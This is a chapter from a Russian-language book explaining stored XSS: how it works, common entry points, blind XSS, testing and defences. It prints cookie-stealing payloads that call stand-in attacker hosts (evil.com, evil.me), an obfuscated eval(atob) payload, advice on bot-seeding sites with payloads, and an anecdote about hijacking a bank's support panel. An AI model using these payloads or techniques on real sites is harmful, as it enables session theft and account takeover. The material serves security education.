Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀. Stored XSS (Хранимый): Подарок, который продолжает дарить
Если Reflected XSS — это быстрая кража на улице, то Stored XSS — это тайник в стене сайта, который остаётся активным сутками, месяцами, а иногда даже годами, пока не сработает для кого-то важного. Хранимый XSS — это тот редкий случай, когда твоя атака превращается в массовый инструмент для захвата, шпионажа и тотального уничтожения пользовательских данных. В этом разделе разберём, почему она — самая опасная и желанная находка для любого эксплойтера.
Суть Stored XSS — в долговечности
Хранимый (persistent, stored) XSS появляется, когда вредоносный payload сохраняется на сервере: в базе данных, лог-файле, кэше, и в дальнейшем раскрывается для любого пользователя, который зайдёт на заражённую страницу или воспользуется функцией, отражающей этот ввод.
• Ты вставляешь скрипт в форму комментария, форума, профиля, чата, поля “ФИО” или любом ином месте, которое сохраняет твои данные.
• Сайт сохраняет это в базу, не проводит экранирования на этапе вывода.
• Любой, кто просматривает данные (страницу комментариев, профилей, чатов и пр.), получает твой JS в браузере.
Чем больше функциональности на сайте, тем выше шансы на жизнь payload’а. Stored XSS может стать частью атаки на пользователей, админов, службы поддержки, а иногда и обходить внутренние периметры: payload живёт в базе, может отображаться по почте, в системе анализа, а иногда даже оказываться внутри внутренних админок по логам.
Жизненный цикл атаки
1. Инъекция: атакующий находит форму или точку ввода, через которую можно сохранить данные: оставляет комментарий, пишет сообщение, меняет описание профиля.
2. Сохранение: данные попадают в базу или другое хранилище (лог, кэш, почтовый репорт).
3. Отражение: сайт выводит эти данные в ответ на запрос (на странице, письме, панели управления).
4. Выполнение: браузер любого пользователя, который загрузил заражённую страницу, выполняет JavaScript.
В отличие от отражённого XSS, где жертва должна перейти по отдельной ссылке, stored может работать на всех без исключения: каждый, кто зашёл куда не следует — попался.
Классические точки входа
• Комментарии и блоги: самая очевидная точка — форма “Оставить отзыв/комментарий”.
• Форумы, чаты, private messages: payload может прожить в переписке и зацепить даже приватную аудиторию.
• Поля профиля: имя, фамилия, “о себе”, аватар, статус — всё это часто отображается в публичном пространстве.
• Системы тикетов и обратной связи: заявки сохраняются и могут быть просмотрены администратором или саппортом, зачастую в отдельной админ-панели.
• Гостевые книги, доски объявлений, онлайн-магазины: описание товара, обратная связь, заявки на заказ — классика.
Эксплойтерский бонус: иногда можно сохранить payload в несколько экземпляров (например, апострофы, “сломанную” разметку), чтобы обойти фильтры или сработать в разных браузерных контекстах.
Payload’ы для stored XSS
Самые рабочие — простые скрипты (alert, fetch, document.cookie). Но для массовых атак используются payload’ы, которые запускают сбор данных или связывают жертву с управляющим сервером:
<script src="https://evil.com/payload.js"></script>
Или:
<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">Часто используются обфусцированные варианты:
<svg/onload=eval(atob('YWxlcnQoJ1hTUycp'))>Blind XSS — особый зверь
Stored XSS может быть “слепым”: когда твой payload попадает не на публичную страницу, а в интерфейс администратора (через лог, внутреннюю панель тикетов, отчёты). Ты не видишь, когда, где и кто выполнит JavaScript, но при срабатывании получаешь доступ даже к бэкенду, обходя внешние фильтры и MFA. Для этого есть специальные сервисы — XSSHunter, PayloadsAllTheThings, которые автоматически ловят жертву, если payload сработал.
Мощность атаки: мультипликация урона
Stored XSS — это всегда о масштабе:
• Один комментарий — десятки тысяч пользователей попались.
• Один тикет поддержки — скомпрометированы все админы, саппорт, внутренние сервисы.
• Payload может жить годами — даже если ты месяц назад вставил скрипт, и он лежит “мертвым”, новый баг в фронте или изменение логики может его воскресить.
Особенно опасно, если stored XSS попадает на страницы с привилегированными ролями:
• Админки
• Службы поддержки
• HR/бухгалтерия
• Корпоративный интранет
Если у admin-пользователя сработал твоё JS — ты получаешь полный контроль, обходишь MFA, внедряешь дальнейшие payload’ы.
Как найти stored XSS
Чеклист прост, но требует терпения:
1. Пробуй оставить payload в каждом поле, которое сохраняется на сервере.
2. “Медленные” фичи — сообщения, тикеты, отзывы, чаты — самые тяжёлые для теста, но приносят самый большой профит.
3. Автоматизируй injection: используй Burp Suite, OWASP ZAP, кастомные сканеры.
4. Применяй специфичные для контекста payload’ы: атрибуты, event handlers, обфусцированные варианты.
5. Проверь страницу вывода (просмотра), почту, push-уведомления, внутренние панели — иногда результат будет только через сутки, неделю, месяц.
Как защищаться
Stored XSS лечится так же, как и отражённый, но требует особого внимания к процессу сохранения и вывода данных:
• Output Encoding — экранируй всё, что выводишь: htmlspecialchars, escape, sanitization.
• Sanitization libraries — DOMPurify (для JS), OWASP ESAPI.
• Content Security Policy — руби все inline скрипты, запрети загрузку посторонних JS.
• Валидация — проверяй формат данных на этапе приёма и перед выводом.
• HTTPOnly для cookie — не дай эксплойтеру украсть сессии.
• Регулярные security audit — ищи потенциальные места сохранения пользовательского ввода.
Автоматизация поиска
Быстрый способ — настроить скрипты-боты, которые оставляют payload’ы в комментариях, форумах, личных сообщениях, дефолтных полях профиля. Так можно “засеять” сайт и ждать массового срабатывания. Используй инструменты:
• Burp Intruder — для массовых инъекций
• XSSHunter — ловит Blind XSS (срабатывания в админках)
• DAST/SAST сканеры — интеграция в pipeline для обнаружения уязвимостей до выхода в продакшн
Кейс из жизни
Один из моих любимых багов — stored XSS в “поле ФИО” в системе обратной связи банка. Payload был прост:
`Антон<script src="https://evil.me/k.js"></script>Иванов`
Он жил в системе месяц, а потом его увидел саппорт в внутренней панели — сработал JS, отправил cookie, через них удалось залогиниться в admin-tickets и получить доступ к переписке с клиентами.
Админ потом неделю искал, откуда пришло зло — а оно просто жило в базе, на поверхности, ждали своего часа.
Итоги
Stored XSS — это не просто уязвимость, это целая эпоха атак: долговечная, масштабная, зачастую слепая и очень опасная. Как только твой payload сохранился в базе, сайт становится минным полем, пока последняя копия не вычищена с корнями. Это не одноразовый взлом — это атака, которая продолжает работать, пока живёт хотя бы одна жертва. Подарок для любого атакующего и головная боль для любого админа.
А дальше — разбор DOM-based XSS, самой хитрой и внезапной разновидности скриптового ада. Готовься, там ещё интереснее.
